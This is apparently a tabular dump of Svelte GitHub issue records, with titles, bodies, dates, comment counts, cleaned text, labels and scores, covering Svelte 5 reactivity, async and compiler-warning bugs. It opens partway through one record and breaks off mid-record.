blocking an upgrade",,2025-12-04 15:26:38+00:00,2026-01-01 04:09:18+00:00,3,nan,27.5296,breaks reactivity with sveltekit s preload describe the bug might be somewhat related to while the issue shows in kit i assume the cause is somewhere within svelte proper so filing here when using in sveltekit preloading data may cause a loss of reactivity while it seems that the value is updated at least suggests as much the is not executed this can be triggered by both using or making use of reproduction initially opening the dialog both via button or the anchor works once root is adjusted by either setting to true or to opening the dialog via the button only works as long as the link has not been hovered or clicked inspecting in indicates the variable is updating but the effect not firing logs system info severity blocking an upgrade,others,-0.2254
sveltejs/svelte,3692144224,`async` experimental flag causes layout navigation failure,"### Describe the bug

When the `async` experimental compiler flag is set, client-side navigation fails in one very specific condition:
- A `+layout.svelte` is present in a route (example: `/route1`)
- User navigates from that route to another (example: `/route2`)
- Any follow-on navigation fails to load (navigation from `/route2` -> `/route3` will fail)

See README in https://github.com/awei82/svelte-async-bug-poc for full explanation of the bug

### Reproduction

https://github.com/awei82/svelte-async-bug-poc

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (16) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 219.29 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.2.0 - /Users/andrewwei/.nvm/versions/node/v24.2.0/bin/node
    Yarn: 1.22.17 - /Users/andrewwei/.yarn/bin/yarn
    npm: 11.6.0 - /Users/andrewwei/.nvm/versions/node/v24.2.0/bin/npm
    pnpm: 10.18.3 - /Users/andrewwei/.nvm/versions/node/v24.2.0/bin/pnpm
  Browsers:
    Chrome: 142.0.7444.176
    Firefox: 145.0.1
    Safari: 18.6
  npmPackages:
    svelte: ^5.45.4 => 5.45.4
```

### Severity

blocking an upgrade",,2025-12-03 22:29:42+00:00,2026-01-01 04:11:30+00:00,4,nan,28.2374,experimental flag causes layout navigation failure describe the bug when the experimental compiler flag is set client side navigation fails in one very specific condition a is present in a route example user navigates from that route to another example any follow on navigation fails to load navigation from will fail see readme in for full explanation of the bug reproduction logs system info severity blocking an upgrade,others,-0.9612
sveltejs/svelte,3688161969,Unactionable state_referenced_locally warning when $state(prop),"### Describe the bug

I think there is at least one case where having this warning now is actually weird. When you initialize state with something from props I'd argue it is expected by the definition of how both $state rune and JS works, that your value will get out of sync with that prop. So in practice there is no way out of this warning except writing ignore comments above each of such lines. Would it make sense to suppress this case?

<img width=""694"" height=""232"" alt=""Image"" src=""https://github.com/user-attachments/assets/363101bf-1cbd-4d21-b03f-be1f57a26bd3"" />

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.45.4#H4sIAAAAAAAAE22NQQrCMBBFrxIGFy2I7kMV3HkH6yI2IwSmSUjGthJ6dydFcOPyv__mTwFvRgQNVyQKag6JrGrQOkbbwh6ejjCDvhXgd6xeBcK_V5cYD3lC4soeJuM_PgTP6FlmoMtDcpHPve9ZcGZV1GTohWpVJ7WLKcTctNJKT8gKFzNGwtplNozNJovQHX9Lvmx0lVeMC4PmJOkuyTianbegn4Yyrh8Cq3gY7QAAAA)

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

annoyance",,2025-12-03 02:01:05+00:00,2025-12-03 02:57:54+00:00,6,nan,0.0395,unactionable state referenced locally warning when state prop describe the bug i think there is at least one case where having this warning now is actually weird when you initialize state with something from props i d argue it is expected by the definition of how both state rune and js works that your value will get out of sync with that prop so in practice there is no way out of this warning except writing ignore comments above each of such lines would it make sense to suppress this case reproduction repl logs system info severity annoyance,others,-0.9423
sveltejs/svelte,3685336840,"SvelteKit Minimal Project Setup with TypeScript, TailwindCSS, Prettier, and MCP","### Describe the bug

A newly scaffolded **SvelteKit (minimal)** project created with the Svelte CLI (using TypeScript, TailwindCSS, Prettier and the MCP VSCode remote setup) emits runtime warnings from `vite-plugin-svelte` when the development server is started. The warnings state that certain references in the auto-generated file `.svelte-kit/generated/root.svelte` - specifically `stores` and `page` - “only capture the initial value” and suggest they may be referenced inside a closure incorrectly. The messages include links to Svelte guidance (`https://svelte.dev/e/state_referenced_locally`).

This occurs immediately after running `pnpm run dev` and does not require any user modifications to the generated code. No explicit runtime error occurs, but the warnings indicate a potential incorrect usage pattern in the generated bootstrap file that could lead to stale values or unexpected behavior when stores or `page` are accessed inside closures.

### Reproduction

You can reproduce the issue by creating a new SvelteKit project using the Svelte CLI with the exact options shown below.

**Steps to reproduce:**

```bash
pnpm dlx sv create
```

Select the following options when prompted:

1. **Template:** `SvelteKit minimal`
2. **TypeScript:** `Yes, using TypeScript syntax`
3. **Add-ons:** `prettier`, `tailwindcss`, `mcp`
4. **MCP client:** `VSCode`
5. **MCP setup:** `Remote`
6. **Tailwind plugins:** `none`
7. **Package manager:** `pnpm`

This results in the CLI command:

```bash
pn... [TRUNCATED]",,2025-12-02 11:12:51+00:00,2025-12-02 11:34:16+00:00,0,nan,0.0149,sveltekit minimal project setup with typescript tailwindcss prettier and mcp describe the bug a newly scaffolded sveltekit minimal project created with the svelte cli using typescript tailwindcss prettier and the mcp vscode remote setup emits runtime warnings from when the development server is started the warnings state that certain references in the auto generated file specifically and only capture the initial value and suggest they may be referenced inside a closure incorrectly the messages include links to svelte guidance this occurs immediately after running and does not require any user modifications to the generated code no explicit runtime error occurs but the warnings indicate a potential incorrect usage pattern in the generated bootstrap file that could lead to stale values or un when stores or are accessed inside closures reproduction you can reproduce the issue by creating a new sveltekit project using the svelte cli with the exact options shown below select the following options when prompted template typescript add ons mcp client mcp setup tailwind plugins package manager this results in the cli command bash pn truncated,others,0.5574
sveltejs/svelte,3683947410,New `state_referenced_locally` warnings with svelte `5.45.3`,"### Describe the bug

When upgrading from svelte `5.45.2` to `5.45.3` a rash of new `state_referenced_locally` warnings pollute the terminal in `dev` and when attempting to `npm run build`. any of my existing apps with no build or dev warnings or errors now get spammed with mega volumes of anxiety inducing warnings.

Reverting to `5.45.2` for now resolves the issue.

### Reproduction

Simply do a fresh install which as of now will use the ""buggy"" `5.45.3`

```
npx sv create test_app_svelte_5453
SvelteKit minimal
cd create test_app_svelte_5453
npm run dev
```
you will see the warnings

```
 [vite-plugin-svelte] .svelte-kit/generated/root.svelte:11:27 This reference only captures the initial value of `stores`. Did you mean to reference it inside a closure instead?
```

Under `npm run build` you will get similar warnings (though the build will complete)

```
 [vite-plugin-svelte] .svelte-kit/generated/root.svelte:17:18 This reference only captures the initial value of `page`. Did you mean to reference it inside a closure instead?
https://svelte.dev/e/state_referenced_locally
15:     $effect.pre(() => stores.page.set(page));
16:   } else {
17:     stores.page.set(page);
                            ^
18:   }
19:   $effect(() => {
```

### Logs

```shell

```

### System Info

```shell
Linux Ubuntu 22, Node 24, npm 11.6.2
```

### Severity

blocking an upgrade",,2025-12-02 04:12:51+00:00,2025-12-02 20:11:57+00:00,63,nan,0.666,new warnings with svelte describe the bug when upgrading from svelte to a rash of new warnings pollute the terminal in and when attempting to any of my existing apps with no build or dev warnings or errors now get spammed with mega volumes of anxiety inducing warnings reverting to for now resolves the issue reproduction simply do a fresh install which as of now will use the buggy you will see the warnings under you will get similar warnings though the build will complete logs system info severity blocking an upgrade,feature,-0.9723
sveltejs/svelte,3683899871,bind:value causes stack overflow on 5.45.3 (in dev) when used with Bun,"### Describe the bug

I'm in the process of rewriting an app from pure vanilla JS to Svelte. I'm mostly done now, and today I've been moving a bunch of CSS from a single .css file to components.

At some point I've noticed that at least two unrelated components are causing a stack overflow:

```
HomeSearch.svelte:92 Uncaught RangeError: Maximum call stack size exceeded

	in <unknown>
	in App.svelte

    at get (HomeSearch.svelte:92:15)
    at get (HomeSearch.svelte:93:13)
    at get (HomeSearch.svelte:93:13)
    at get (HomeSearch.svelte:93:13)
    at get (HomeSearch.svelte:93:13)
    at get (HomeSearch.svelte:93:13)
    at get (HomeSearch.svelte:93:13)
    at get (HomeSearch.svelte:93:13)
    at get (HomeSearch.svelte:93:13)
    at get (HomeSearch.svelte:93:13)
```

Stack trace links point to a place in generated code that looks like this:

```js
$.bind_value(
		input,
		function get() {
			return $.get(query);
		},
		function set($$value) {
			$.set(query, $$value);
		}
	);
```

At first I thought I broke something with the CSS changes, but I realized that I also installed the latest patch update at some point today.

This seems to be happening even in a component as simple as this:

```html
<script>
  let query = $state('');
</script>

<input type=""text"" bind:value={query}>
```

After some debugging I found that this only happens if the bundler (Bun) runs in dev mode, not in production mode. The difference between the two versions of the bundle include a part like this, wh... [TRUNCATED]",,2025-12-02 03:53:02+00:00,2026-01-27 15:08:24+00:00,7,nan,56.469,bind value causes stack overflow on in dev when used with bun describe the bug i m in the process of rewriting an app from pure vanilla js to svelte i m mostly done now and today i ve been moving a bunch of css from a single css file to components at some point i ve noticed that at least two unrelated components are causing a stack overflow stack trace links point to a place in generated code that looks like this at first i thought i broke something with the css changes but i realized that i also installed the latest patch update at some point today this seems to be happening even in a component as simple as this after some debugging i found that this only happens if the bundler bun runs in dev mode not in production mode the difference between the two versions of the bundle include a part like this wh truncated,others,0.4215
sveltejs/svelte,3680520126,Reactivity broken after ~5.43.0,"### Describe the bug

Ref: [https://github.com/sveltejs/svelte/issues/17239#issuecomment-3576002582](#17239)
> If you don't use any async features, probably it's better not to update Svelte until it's ready? Also, I agree that a separate `experimental` branch for both Svelte and Kit is probably better for all. There are a lot of core api reworks meant to fix `async`, but they also affect those who don't use the experimental features.

@henrykrinkle01 @dummdidumm 
Hi, would you mind explain a bit better what this `until it's ready` means? We do not use the new `async` feature in components, all the async work is made in external stores. We got some production bugs due to something related to this issue: we just updated the svelte version, nothing else, app out in production for a while, so we are pretty sure the cause is Svelte itself. 
After fixing this issue, it still persist the same problem, but we can say it's ""better"". 
It's not easy to submit a minimal repro. 
We need to keep svelte to 5.43.0 that is a working version. I saw in the latest versions some refactoring around the reactivity internals, that could be connected to this issue. Do you have any plans about when it could be done? Or we just need to wait for svelte 6 ?
Now our team has missed trust on Svelte release cycle, unfortunately, it's hard to disagree with them.

Here a repro the replicate our code pattern and the interesting part is:
``` typescript
// from svelte 5.43.0 the local store need to be resetted t... [TRUNCATED]",awaiting submitter,2025-12-01 11:19:59+00:00,2026-01-14 14:00:14+00:00,10,awaiting submitter,44.1113,reactivity broken after describe the bug ref if you don t use any async features probably it s better not to update svelte until it s ready also i agree that a separate branch for both svelte and kit is probably better for all there are a lot of core api reworks meant to fix but they also affect those who don t use the experimental features henrykrinkle dummdidumm hi would you mind explain a bit better what this means we do not use the new feature in components all the async work is made in external stores we got some production bugs due to something related to this issue we just updated the svelte version nothing else app out in production for a while so we are pretty sure the cause is svelte itself after fixing this issue it still persist the same problem but we can say it s better it s not easy to submit a minimal repro we need to keep svelte to that is a working version i saw in the latest versions some refactoring around the reactivity internals that could be connected to this issue do you have any plans about when it could be done or we just need to wait for svelte now our team has missed trust on svelte release cycle unfortunately it s hard to disagree with them here a repro the replicate our code pattern and the interesting part is typescript from svelte the local store need to be resetted t truncated,others,0.8651
sveltejs/svelte,3678632732,Allow suppressing `state_referenced_locally` on a per-case basis,"### Describe the problem

```typescript
 const window = $derived.by(()=>{
    const from = new Date(data.services.time.now);
    from.setMinutes(0, 0, 0);
    from.setHours(from.getHours() - 6);
    const to = new Date(data.services.time.now);
    to.setMinutes(0, 0, 0);
    to.setHours(to.getHours() + 12);
    return {from, to};
});
// window_total_ms does not change even if dependencies of window (data.services.time.now is reactive) change
const window_total_ms = window.to.getTime() - window.from.getTime(); //This causes state_referenced_locally
```

### Describe the proposed solution

I would like to suppress the warning. I know window_total_ms will only be computed once and won't be reactive.
It also makes no sense that we can suppress warnings stemming from templating but not from the `<script>` section.
I know I could hardcode `window_total_ms`, but then it wouldn't be derived from `window`. I also now I could declare a constant and use it within both, `window_total_ms` and `window` but the approach above should be also valid and it should be possible to tell the compiler ""I know what I am doing"" so that the same innocuous warning does not pop-up every time I run the checker.

### Importance

nice to have",,2025-11-30 23:49:00+00:00,2025-12-01 16:27:03+00:00,2,nan,0.6931,allow suppressing on a per case basis describe the problem describe the proposed solution i would like to suppress the warning i know window total ms will only be computed once and won t be reactive it also makes no sense that we can suppress warnings stemming from templating but not from the section i know i could hardcode but then it wouldn t be derived from i also now i could declare a constant and use it within both and but the approach above should be also valid and it should be possible to tell the compiler i know what i am doing so that the same innocuous warning does not pop up every time i run the checker importance nice to have,others,0.6486
sveltejs/svelte,3678171474,Scoped styles composition error:  `selector is never used` when following doc examples,"### Describe the bug

Taken [directly from the docs](https://svelte.dev/docs/svelte/class#Attributes-Objects-and-arrays):

```svelte
<!-- Button.svelte -->
<script lang=""ts"">
  let props = $props();
</script>

<button {...props} class={[""cool-button"", props.class]}>
  {@render props.children?.()}
</button>

<style>
  .cool-button {
    color: red;
  }
</style>
```

Does not work and will yield `Selector cool-button is never used`

I stumbled accross multiple issues, but its hard to tell which are up-to-date with the recent svelte 5 developments.

https://github.com/sveltejs/svelte/issues/8542
https://github.com/sveltejs/svelte/issues/1594

Another confusing behavior I observed (and cannot find explanation for in the docs): let's say I reuse the above component like this:

```svelte
<!-- AnotherComponent.svelte -->
<script lang=""ts"">
  import Button from ""./Button.svelte"";
</script>

<Button class=""super-button"">
 Click me!
</Button>

<style>
  /* Local class applied to Button.svelte */
  .super-button {
    background-color: yellow;
  }
</style>
```

Now when I look at the generated HTML

```html
<button class=""cool-button super-button s-_YyUemAWNElK"">
```

The `super-button` class is ignored, and nothing in the documentation makes this obvious.

So this begs my question: are those behaviors expected or are they bugs ? If those behaviors are normal, can the doc be updated to reflect that and clearly state what can and can't be done ?

### Reproduction

https://svelte.dev/play... [TRUNCATED]",,2025-11-30 18:18:21+00:00,2025-11-30 20:08:28+00:00,1,nan,0.0765,scoped styles composition error when following doc examples describe the bug taken directly from the docs does not work and will yield i stumbled accross multiple issues but its hard to tell which are up to date with the recent svelte developments another confusing behavior i observed and cannot find explanation for in the docs let s say i reuse the above component like this now when i look at the generated html the class is ignored and nothing in the documentation makes this obvious so this begs my question are those behaviors expected or are they bugs if those behaviors are normal can the doc be updated to reflect that and clearly state what can and can t be done reproduction truncated,bug,-0.5789
sveltejs/svelte,3677779711,Array indexing reactivity breaks in build when inside `<svelte:boundary>`,"### Describe the bug

The `bind:` reactivity of an array (with indexing) breaks when the `bind`s are placed inside `boundary` that does asynchronous work.

Note that this **only** happens when previewing the `build` and _not_ in the `dev` server.

By moving the asynchronous work inside of the `<script>` tag instead, the bug is also ""fixed"".

### Reproduction

https://www.sveltelab.dev/?provider=github&owner=Tinggaard&repo=reactivity-async-build

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.17 Arch Linux
    CPU: (16) x64 AMD Ryzen 7 8845HS w/ Radeon 780M Graphics
    Memory: 10.42 GB / 27.15 GB
    Container: Yes
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 25.2.1 - /usr/bin/node
    npm: 11.6.4 - /usr/bin/npm
    pnpm: 10.23.0 - /usr/bin/pnpm
  Browsers:
    Brave Browser: 139.1.81.137
    Chromium: 142.0.7444.175
    Firefox: 145.0.2
    Firefox Developer Edition: 145.0.2
  npmPackages:
    svelte: ^5.43.8 => 5.45.2
```

### Severity

annoyance",,2025-11-30 13:46:42+00:00,2026-01-12 22:04:48+00:00,1,nan,43.3459,array indexing reactivity breaks in build when inside describe the bug the reactivity of an array with indexing breaks when the s are placed inside that does asynchronous work note that this only happens when previewing the and not in the server by moving the asynchronous work inside of the tag instead the bug is also fixed reproduction logs system info severity annoyance,others,-0.8074
sveltejs/svelte,3677763323,`$props.id` after `await` in `script` breaks,"### Describe the bug

```svelte
<script lang=""ts"">
  import { getData } from ""./test.remote.ts"";

	// swap these two lines and it works
  let data = await getData();
  let thisId = $props.id();
</script>
```
throws 
[plugin:vite-plugin-svelte:compile] can't access property ""map"", visited.declarations is undefined

while 
```ts
  let thisId = $props.id();
  let data = await getData();
```
works just fine.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-kjql6zlq?file=src%2Froutes%2F%2Bpage.svelte

### Logs

```shell
14:26:10 [vite] (ssr) Error when evaluating SSR module /src/routes/+page.svelte: can't access property ""map"", visited.declarations is undefined
  Plugin: vite-plugin-svelte:compile
  File: /home/projects/sveltejs-kit-template-default-kjql6zlq/src/routes/+page.svelte
  

[500] GET /
transform_body/thunks<@file:///home/projects/sveltejs-kit-template-default-kjql6zlq/node_modules/svelte/src/compiler/phases/3-transform/shared/transform-async.js:73:24
transform_body@file:///home/projects/sveltejs-kit-template-default-kjql6zlq/node_modules/svelte/src/compiler/phases/3-transform/shared/transform-async.js:67:38
Program@file:///home/projects/sveltejs-kit-template-default-kjql6zlq/node_modules/svelte/src/compiler/phases/3-transform/server/visitors/Program.js:33:37
next@file:///home/projects/sveltejs-kit-template-default-kjql6zlq/node_modules/zimmerframe/src/walk.js:129:21
set_scope@file:///home/projects/sveltejs-kit-template-default-kjql6zlq/node_... [TRUNCATED]",,2025-11-30 13:27:01+00:00,2025-12-01 19:40:27+00:00,1,nan,1.2593,after in breaks describe the bug throws plugin vite plugin svelte compile can t access property map visited declarations is undefined while works just fine reproduction logs shell vite ssr error when evaluating ssr module src routes page svelte can t access property map visited declarations is undefined plugin vite plugin svelte compile file home projects sveltejs kit template default kjql zlq src routes page svelte get transform body thunks file home projects sveltejs kit template default kjql zlq node modules svelte src compiler phases transform shared transform async js transform body file home projects sveltejs kit template default kjql zlq node modules svelte src compiler phases transform shared transform async js program file home projects sveltejs kit template default kjql zlq node modules svelte src compiler phases transform server visitors program js next file home projects sveltejs kit template default kjql zlq node modules zimmerframe src walk js set scope file home projects sveltejs kit template default kjql zlq node truncated,others,-0.1027
sveltejs/svelte,3677351191,Server prerendered Atom XML is malformed,"### Describe the bug

This seems like a regression, this part of my website was working previously.

I'm generating Atom XML in an SSG website through a `+server.js` file. The response is minified incorrectly and turns both `<link href="""" />` and `<link href=""""></link>` (what I previously had), into void elements `<link href="""">`, which isn't correct for `application/atom+xml` or XML in general.

This makes Firefox complain with: ""XML Parsing Error: mismatched tag. Expected: </link>.""

Depending on RSS client, it can cause issues there too, and I see no way of disabling the formatting atm.

### Reproduction

```js
export const prerender = true;

export async function GET() {
  let content = `
<?xml version=""1.0"" encoding=""utf-8""?>
<feed xmlns=""http://www.w3.org/2005/Atom"">
<title>My Feed</title>
<link href=""https://example.com/atom.xml"" rel=""self""/>
<link href=""https://example.com""/>
<updated>2025-11-08T14:54:06.000Z</updated>
<author><name>Caellian</name></author>
<id>https://example.com<id>
<entry>
  <title>Some event</title>
  <link href=""https://example.com/some_post""/>
  <id>https://example.com/some_post</id>
  <updated>2025-11-08T14:54:06.000Z</updated>
  <published>2025-11-07T11:20:19.000Z</published>
</entry>
</feed>`;

  return new Response(content, {
    headers: {
      ""cache-control"": ""max-age=0, s-maxage=3600"",
      ""content-type"": ""application/atom+xml"",
    },
  });
}
```

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.17 Arch Linu... [TRUNCATED]",,2025-11-30 04:04:39+00:00,2025-11-30 04:18:18+00:00,1,nan,0.0095,server prerendered atom xml is malformed describe the bug this seems like a regression this part of my website was working previously i m generating atom xml in an ssg website through a file the response is minified incorrectly and turns both and what i previously had into void elements which isn t correct for or xml in general this makes firefox complain with xml parsing error mismatched tag expected depending on rss client it can cause issues there too and i see no way of disabling the formatting atm reproduction logs system info shell system os linux arch linu truncated,others,-0.8834
sveltejs/svelte,3677236187,$derived(await ...) is a symbol,"### Describe the bug

Since 5.43.0, sometimes the value of a `$derived(await ...)` is unexpectedly a symbol which can cause errors.


### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.45.2#H4sIAAAAAAAAE22R3U4DIRCFX4XQXuwas403JtIf450XvoHrBS2DIUHAZbY_bnh3h6XaVssFZA7znZyBgTv5AVzwZ7DWs53vrGIVKIOgan7LtbEQuXgdOB5C7ssC6UfqKYQmbsFi1tYywjV94x2CQ7Lhi7jpTMBV6xgtC8i092zJphElQuV6a-t568r1FLSGDVZVzZYrNhQxr8LcP8yLlE5IdlzLLjsq6MwWVCV30iC7-9vzdd6TDR9H25sRF-wyCU0QkX32e4JaTmfL6W4x-52GirAiU8EG2tNiFopY3kCsfe-U7A7HuYdJdCYEyhHAKePeqzqdpiOnFy-z3DRNcRqh2RFKP6mGidE51CV7Thidxpj_UtCvIOyRC-x6SG9USWN3xikutLQR0jfD3YLbGAIAAA)

```svelte
<script>
    let foo = $state(null);

    $effect(() => {
        foo = 69;
    });

    let bar = $derived(await 1);

    let baz = $derived(foo ? foo * bar : null);

    const qux = ""qux"";
</script>

<p>baz: {baz}</p>

<svelte:boundary>
    {#snippet pending()}
        <p>Loading...</p>
    {/snippet}

    {#if qux}
        <p></p>
    {/if}
</svelte:boundary>
```

### Logs

```shell
Unhandled Promise Rejection: TypeError: Cannot convert a symbol to a number

	in <unknown>
	in __wrapper.svelte



TypeError
@
update_reaction@
execute_derived@
update_derived@
is_dirty@
flush_queued_effects@
process@
flush_effects@
flush@
revive@
decrement@
@
@[native code]
```

### System Info

```shell
Svelte playground
```

### Severity

blocking an upgrade",,2025-11-30 00:41:35+00:00,2026-01-08 20:15:14+00:00,4,nan,39.815,derived await is a symbol describe the bug since sometimes the value of a is unexpectedly a symbol which can cause errors reproduction repl logs system info severity blocking an upgrade,others,-0.6369
sveltejs/svelte,3677204248,"Svelte interpeting input patterns <input type=""text"" pattern=""[A-Za-z]{3}"" /> to be <input type=""text"" pattern=""[A-Za-z]3"" />","### Describe the bug

Input element patterns are regular expressions and as such can contain {} that should not be interpeted as svelte expressions.
The pattern parameter likely needs special handeling/consideration?  Or is this expected behaviour?

Curly Braces in input patterns are Interpeted as Svelte variables/expressions:
`<input type=""text"" pattern=""[A-Za-z]{3}"" />` is output as `<input type=""text"" pattern=""[A-Za-z]3"" />`

It is possible to get the curly braces to output with extra wrapping:
`<input type=""text"" pattern=""[A-Za-z]{'{3}'}"" />`

Not sure if that is the desired way to handle this?
Or if this is a bug that needs addressing?

Thought I'd report it and let the team decide just in case.
Thanks for all the hard work! 🏆❤️

### Reproduction

Curly Braces in input patterns are Interpeted as Svelte variables/expressions:
`<input type=""text"" pattern=""[A-Za-z]{3}"" />` is output as `<input type=""text"" pattern=""[A-Za-z]3"" />`

It is possible to get the curly braces to output with extra wrapping:
`<input type=""text"" pattern=""[A-Za-z]{'{3}'}"" />`

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (8) arm64 Apple M2
    Memory: 148.64 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 25.2.1 - /Users/joshuajarman/.asdf/installs/nodejs/25.2.1/bin/node
    npm: 11.6.2 - /Users/joshuajarman/.asdf/plugins/nodejs/shims/npm
    pnpm: 10.24.0 - /Users/joshuajarman/.asdf/installs/pnpm/10.24.0/bin/pnpm
    Deno: 2.5.6 - /opt/homebrew/bin/deno
  Browsers:
    C... [TRUNCATED]",,2025-11-29 23:51:10+00:00,2025-11-30 00:31:16+00:00,2,nan,0.0278,svelte interpeting input patterns to be describe the bug input element patterns are regular expressions and as such can contain that should not be interpeted as svelte expressions the pattern parameter likely needs special handeling consideration or is this expected behaviour curly braces in input patterns are interpeted as svelte variables expressions is output as it is possible to get the curly braces to output with extra wrapping not sure if that is the desired way to handle this or if this is a bug that needs addressing thought i d report it and let the team decide just in case thanks for all the hard work reproduction curly braces in input patterns are interpeted as svelte variables expressions is output as it is possible to get the curly braces to output with extra wrapping system info shell system os macos cpu arm apple m memory mb gb shell bin zsh binaries node users joshuajarman asdf installs nodejs bin node npm users joshuajarman asdf plugins nodejs shims npm pnpm users joshuajarman asdf installs pnpm bin pnpm deno opt homebrew bin deno browsers c truncated,others,-0.4141
sveltejs/svelte,3676333096,Incorrect type narrowing in `bindable` with fallback,"### Describe the bug

Variable `a` should be `string | undefined` even though a string fallback is provided.

```svelte
<script lang=""ts"">
  let {
    // let a: string - problematic
    a = $bindable('fallback'),
    // let b: string | null - works
    b = $bindable('fallback'),
    // let c: string | undefined - works
    c = $bindable()
  }: {
    a?: string | undefined;
    b?: string | null;
    c?: string | undefined;
  } = $props();

  // Type 'undefined' is not assignable to type 'string'. (ts 2322)
  a = undefined;
  b = null;
</script>
```

### Reproduction

See above. Will create a SvelteKit repo if requested.

### Logs

```shell

```

### System Info

```shell
System:
  OS: Windows 11 10.0.26200
  CPU: (8) x64 Intel(R) Core(TM) Ultra 7 258V
  Memory: 6.35 GB / 31.48 GB
Binaries:
  Node: 24.11.0 - C:\Users\hyunb\AppData\Local\fnm_multishells\9372_1764389512266\node.EXE
  npm: 11.6.1 - C:\Users\hyunb\AppData\Local\fnm_multishells\9372_1764389512266\npm.CMD
  pnpm: 10.23.0 - C:\Users\hyunb\AppData\Local\fnm_multishells\9372_1764389512266\pnpm.CMD
  Deno: 2.4.0 - C:\Users\hyunb\.deno\bin\deno.EXE
Browsers:
  Chrome: 142.0.7444.176
  Edge: Chromium (140.0.3485.54)
  Firefox: 145.0.2 - C:\Program Files\Mozilla Firefox\firefox.exe
```

### Severity

annoyance",,2025-11-29 04:23:30+00:00,2025-11-29 09:52:27+00:00,2,nan,0.2284,incorrect type narrowing in with fallback describe the bug variable should be even though a string fallback is provided reproduction see above will create a sveltekit repo if requested logs system info severity annoyance,others,-0.4939
sveltejs/svelte,3774054280,$inspect() Rune breaks build with remote functions,"### Describe the bug

Remote function output breaks build when used in $inspect rune

### Reproduction

```svelte
	const events = $derived(await getEvents());   // remote function
	const displayEvents = $derived(limit > 0 ? events.slice(0, limit) : events);

	$inspect(events);  //  <<< **🔥 this breaks the build**
````

```bash
error during build:
src/lib/components/track-event.svelte (25:14): Expression expected (Note that you need plugins to import files that are not JavaScript)
file: /home/geryy/triple-m/bw/packages/website/src/lib/components/track-event.svelte:25:14

23:       async () => events = await getEvents({ exclude_old }),
24:       () => displayEvents = limit > 0 ? events.slice(0, limit) : events,
25:       () => void ;
                     ^
26:     ]);

    at getRollupError (file:///home/xxx/website/bw/node_modules/.pnpm/rollup@4.53.3/node_modules/rollup/dist/es/shared/parseAst.js:401:41)
```

### Logs

```Shell
src/lib/components/track-event.svelte (25:14): Error when using sourcemap for reporting an error: Can't resolve original location of error.
✓ 79 modules transformed.
✗ Build failed in 451ms
error during build:
src/lib/components/track-event.svelte (25:14): Expression expected (Note that you need plugins to import files that are not JavaScript)
file: /home/xxxx/website/bw/packages/website/src/lib/components/track-event.svelte:25:14

23:       async () => events = await getEvents({ exclude_old }),
24:       () => displayEvents = limit > 0 ? events.slice(0... [TRUNCATED]",,2025-11-28 13:57:18+00:00,2026-01-03 15:43:32+00:00,6,nan,36.0738,inspect rune breaks build with remote functions describe the bug remote function output breaks build when used in inspect rune reproduction logs shell src lib components track event svelte error when using sourcemap for reporting an error can t resolve original location of error modules transformed build failed in ms error during build src lib components track event svelte expression expected note that you need plugins to import files that are not javascript file home xxxx website bw packages website src lib components track event svelte async events await getevents exclude old displayevents limit events slice truncated,others,-0.9325
sveltejs/svelte,3675012019,A `$derived` property depending on a `SvelteSet` doesn't update,"### Describe the bug

In this example, I have an `expanded_ids` set. Each item has an `expanded` property that depends on that set. For some reason, the `expanded` property doesn't update when you read it immediately after updating the set. I found a strange workaround for this bug. You can find it in the playground below.

### Reproduction

https://svelte.dev/playground/6f5ca2c4404d4c57a953869b58b954cb?version=5.45.2

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.1
    CPU: (10) arm64 Apple M4
    Memory: 184.72 MB / 16.00 GB
    Shell: 4.2.1 - /opt/homebrew/bin/fish
  Binaries:
    Node: 22.21.1 - /Users/abdel/.local/share/mise/installs/node/22.21.1/bin/node
    Yarn: 1.22.22 - /opt/homebrew/bin/yarn
    npm: 10.9.4 - /Users/abdel/.local/share/mise/installs/node/22.21.1/bin/npm
    pnpm: 10.20.0 - /Users/abdel/.local/share/mise/installs/pnpm/10.20.0/pnpm
    bun: 1.3.3 - /opt/homebrew/bin/bun
  Browsers:
    Brave Browser: 142.1.84.141
    Safari: 26.1
  npmPackages:
    svelte: ^5.45.2 => 5.45.2
```

### Severity

annoyance",,2025-11-28 13:54:22+00:00,2025-12-02 22:27:05+00:00,1,nan,4.3561,a property depending on a doesn t update describe the bug in this example i have an set each item has an property that depends on that set for some reason the property doesn t update when you read it immediately after updating the set i found a strange workaround for this bug you can find it in the playground below reproduction logs system info severity annoyance,others,-0.8442
sveltejs/svelte,3673003468,Duplication of {#each} items with experimental async,"### Describe the bug

Since v5.43.0, some items in an `{#each}` block are duplicating in a specific scenario related to the experimental async syntax. All awaited items except the first appear a second time (eg. item 1, item 2, item 3, item 2, item 3). The items are not duplicated in the SSR ouput (in a SvelteKit app), the duplicated items are only added on client load, it appears.

Note: This only occurs in a production build, not in development. No errors/warnings are logged. The issue does not occur in v5.42.3 or below.

### Reproduction

The following is a minimal reproduction of an issue I am encountering in a real app. The issue does not occur if `const another = {...}` (L5) is moved before `const messages = await ...` (L4), if `another` is not passed to the component, or if the `<p>{message}</p>` is defined directly in the `{#each}` block, instead of in a seperate component.

